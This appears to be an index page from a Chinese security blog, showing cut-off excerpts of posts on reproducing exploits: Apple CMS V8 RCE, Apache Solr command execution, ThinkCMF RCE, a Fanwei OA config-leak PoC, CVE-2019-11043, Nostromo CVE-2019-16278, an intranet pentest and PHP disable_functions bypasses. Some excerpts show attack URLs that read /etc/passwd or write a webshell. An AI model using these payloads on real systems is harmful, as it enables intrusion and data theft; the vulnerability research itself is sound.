测试代码 phpweb源码 一、环境搭建 宝塔Windows 6.5.0 +Nginx 1.17 + PHP 5.2 (PS:注意5.2最稳 其他版本可能报错) 安装成功之后...
苹果CMS V8 绕过前台RCE
POST /index.php?m=vod-search HTTP/1.1 Host: word.o2oxy.cn Content-Length: 500137 Cache-Control: max-age=0 Origin: http://word.o2oxy.cn Upgrade-Insecure-Requests: 1 Content-Type: appl...
Apache Solr 命令执行
使用Docker docker pull solr docker run --name solr2 -d -p 8081:8983 solr 验证脚本 #!/usr/bi...
ThinkCMF RCE
http://127.0.0.1/?a=display&templateFile=/etc/passwd Getshell http://127.0.0.1/?a=fetch&tem%20...%20%27%27&content=%3Cphp%3Efile_put_con...
泛微OA数据库配置信息泄漏 POC
# -*- coding:utf-8 -*- #Author:print("") import pyDes,requests import sys def desdecode(secret_key,s): cipherX = pyDes.des(' ') cipherX.setKey(secret_key) y = ciphe...
CVE-2019-11043 PHP RCE 复现
这里用的是Docker 镜像 docker pull php:7.2.3-fpm docker pull nginx 然后启动一个php echo '<?php phpinfo();>' /var/www/html/index.php docker run --n...
CVE-2019-16278
https://github.com/jas502n/CVE-2019-16278 Exploits for CVE-2019-16278 and CVE-2019-16279 Nostromo httpd is prone to 2 cricital vulnerabilities for versions <= 1.9.6 (0day =]) firs...
记一次内网渗透
无意中拿到了一个shell 然后花了几天内网渗透。还是有点收获的 没啥技巧可言了。都是一些瞎操作了。别喷就行了 先介绍一下环境把 WEB: 内网主机 192.168.1.231 （无域...
蚁剑disable_functions bypass 研究
文章地址： https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions 蚁剑下载地址 https://gitee.com/AntSwordProject/AntSword-Loader 最...
PHP 7.1-7.3 disable_functions bypass
我只是代码的搬运工 =。= https://github.com/mm0r1/exploits/blob/master/php-json-bypass/README.md PHP 7.1-7.3 disable_functions bypass This exploit utilises a use aft...